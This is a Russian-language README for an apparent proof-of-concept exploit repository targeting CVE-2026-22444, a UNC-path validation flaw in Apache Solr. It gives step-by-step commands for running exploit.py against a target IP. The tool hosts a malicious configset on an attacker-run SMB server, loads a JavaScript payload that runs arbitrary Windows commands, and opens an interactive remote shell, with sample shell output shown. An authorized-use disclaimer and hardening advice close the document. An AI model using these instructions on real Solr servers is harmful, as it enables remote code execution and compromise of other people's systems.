CVE-2026-22444

Уязвимость проверки UNC-путей в Apache Solr

Обзор

CVE-2026-22444 — это уязвимость безопасности, затрагивающая Apache Solr, публично раскрытая примерно 20 января 2026 года. Уязвимость вызвана недостаточной проверкой входных данных (CWE-20: Improper Input Validation) в API "create core" Apache Solr для некоторых параметров API, что позволяет злоумышленнику обходить правила безопасности, когда Solr работает в режиме "standalone", что может привести к утечке данных, удалённому выполнению кода (RCE) или раскрытию NTLM-хэшей.

В частности, если в Solr не включена аутентификация или пользователь имеет разрешение на создание ядер, злоумышленник может злоупотребить этим API с помощью специально сформированных запросов для доступа к защищённым файлам или выполнения вредоносных действий.

Информация о раскрытии

Уязвимость была обнаружена и сообщена в Apache в 2025 году, а затем публично раскрыта в списке рассылки oss-security:

Официальное объявление: https://www.openwall.com/lists/oss-security/2026/01/20/5

Технические детали

Уязвимость существует в CoreContainer.java, где конструктор CoreDescriptor выполняет сетевые операции до проверки UNC-пути:

• instancePath.toAbsolutePath() может разрешать UNC-пути через сеть
• Проверка Files.exists() выполняет сетевые вызовы
• Files.newInputStream() выполняет сетевое чтение
• Проверка пути через assertPathAllowed() происходит только после этих операций

Хронология

• 2025-08-20: Уязвимость обнаружена и сообщена в Apache
• 2026-01-20: Публичное раскрытие

Содержимое репозитория

• exploit.py — скрипт эксплуатации (proof-of-concept)
• files/ — вспомогательные файлы, необходимые для эксплуатации (configset)
  • rce.js — JavaScript payload для удалённого выполнения кода
  • conf/ — файлы конфигурации Solr
    • solrconfig.xml — определяет вредоносную цепочку обработчиков обновлений
    • schema.xml — определение схемы Solr
    • managed-schema — управляемый файл схемы
• requirements.txt — зависимости Python

Инструкция по использованию

Требования к окружению

• Python 3.6+
• Целевая система должна запускать Apache Solr (Windows, автономный режим)
• В целевом Solr не включена аутентификация, или злоумышленник имеет разрешение на создание ядер

Установка зависимостей

pip install -r requirements.txt

Зависимости включают:

• requests>=2.25.0 — для HTTP-запросов
• impacket>=0.10.0 — для создания SMB-сервера

Базовое использование

1. Базовая атака (автоматическое определение локального IP)

python3 exploit.py <целевой_IP>

Пример:

python3 exploit.py 192.168.1.100

2. Указание порта Solr

python3 exploit.py <целевой_IP> --port <порт>

Пример:

python3 exploit.py 192.168.1.100 --port 8983

3. Указание конфигурации SMB-сервера

python3 exploit.py <целевой_IP> --smb-host <IP_SMB_сервера> --smb-port <порт_SMB>

Пример:

python3 exploit.py 192.168.1.100 --smb-host 192.168.1.50 --smb-port 445

4. Пользовательское имя SMB-шары

python3 exploit.py <целевой_IP> --share-name <имя_шары>

Пример:

python3 exploit.py 192.168.1.100 --share-name myshare

Описание аргументов командной строки

Позиционные аргументы:
  target_host           IP-адрес целевого сервера Solr

Необязательные аргументы:
  -h, --help            Показать справочное сообщение и выйти
  --port, -p PORT       Порт сервера Solr (по умолчанию: 8983)
  --smb-host SMB_HOST   IP SMB-сервера (по умолчанию: автоматическое определение локального IP)
  --smb-port SMB_PORT   Порт SMB-сервера (по умолчанию: 445)
  --share-name SHARE    Имя SMB-шары (по умолчанию: malicious)

Процесс атаки

1. Запуск SMB-сервера: скрипт запускает локальный SMB-сервер, предоставляющий общий доступ к каталогу files
2. Создание вредоносного ядра: отправка запроса на создание ядра целевому Solr с указанием вредоносного configset на SMB-сервере
3. Запуск payload: Solr загружает файлы конфигурации с SMB-сервера, содержащие вредоносный JavaScript-код
4. Выполнение команд: запуск JavaScript payload путём отправки запроса на обновление
5. Интерактивная оболочка: после успешной эксплуатации предоставляется интерактивная среда выполнения команд

Использование интерактивной оболочки

После успешной эксплуатации скрипт предоставляет интерактивную оболочку:

solr> whoami
[+] exit_code: 0, status: success
--- stdout ---
desktop-abc123\user

solr> dir
[+] exit_code: 0, status: success
--- stdout ---
Volume in drive C has no label.
...

solr> exit
[*] exiting shell...

Поддерживаемые команды:

• Любая команда Windows CMD
• exit или quit — выход из интерактивной оболочки
• Ctrl+C — прерывание и выход

Принцип работы

Уязвимость использует следующую цепочку технологий:

1. Внедрение UNC-пути: внедрение UNC-пути через параметр configSet (например, //attacker-ip/share)
2. SMB-сервер: размещение вредоносных файлов конфигурации Solr
3. JavaScript RCE: использование StatelessScriptUpdateProcessorFactory Solr для выполнения JavaScript-кода
4. Выполнение команд: выполнение произвольных команд на целевой системе через Java Runtime API

Примеры расширенного использования

Пример с полными параметрами

python3 exploit.py 192.168.35.31 \
  --port 8983 \
  --smb-host 192.168.35.50 \
  --smb-port 445 \
  --share-name exploit

Описание структуры файлов

CVE-2026-22444/
├── exploit.py              # Основной скрипт эксплуатации
├── requirements.txt        # Зависимости Python
├── files/                  # Вредоносный configset
│   ├── rce.js             # JavaScript payload для RCE
│   └── conf/              # Каталог конфигурации Solr
│       ├── solrconfig.xml # Настройка вредоносного обработчика обновлений
│       ├── schema.xml     # Определение схемы
│       └── managed-schema # Управляемая схема
└── README.md              # Этот файл

Описание payload

rce.js: это основной payload для RCE, который:

• Перехватывает операции обновления Solr (add, delete, commit, rollback)
• Получает параметр cmd из параметров запроса
• Выполняет команды с помощью Java Runtime API
• Захватывает stdout и stderr
• Возвращает результат выполнения и код выхода

solrconfig.xml: настраивает Solr на использование вредоносной цепочки обработчиков обновлений:

• Определяет цепочку обработчиков обновлений rce-chain
• Ссылается на скрипт rce.js
• Устанавливает обработчик запросов /update для использования этой цепочки

Важные замечания

⚠️ Предупреждение: этот инструмент предназначен только для авторизованного тестирования безопасности и образовательных целей. Несанкционированное использование этого инструмента для атак на системы незаконно.

• Убедитесь, что получено явное письменное разрешение перед использованием
• Используйте только в тестовых средах или средах с законным разрешением
• Не используйте на производственных системах, кроме контролируемых сред пентеста
• Пользователь несёт ответственность за свои действия

Рекомендации по защите

1. Обновите Solr: обновите Apache Solr до версии, в которой исправлена эта уязвимость
2. Включите аутентификацию: убедитесь, что в Solr включён механизм строгой аутентификации
3. Ограничьте права на создание ядер: предоставляйте разрешение на создание ядер только доверенным пользователям
4. Сетевая изоляция: разверните Solr в защищённой сетевой среде
5. Правила брандмауэра: ограничьте доступ к интерфейсу управления Solr
6. Мониторинг аномальной активности: отслеживайте доступ к UNC-путям и аномальные запросы на создание ядер

Справочные ссылки

• Официальный сайт Apache Solr
• Объявление в списке рассылки OSS Security
• CWE-20: Improper Input Validation

Лицензия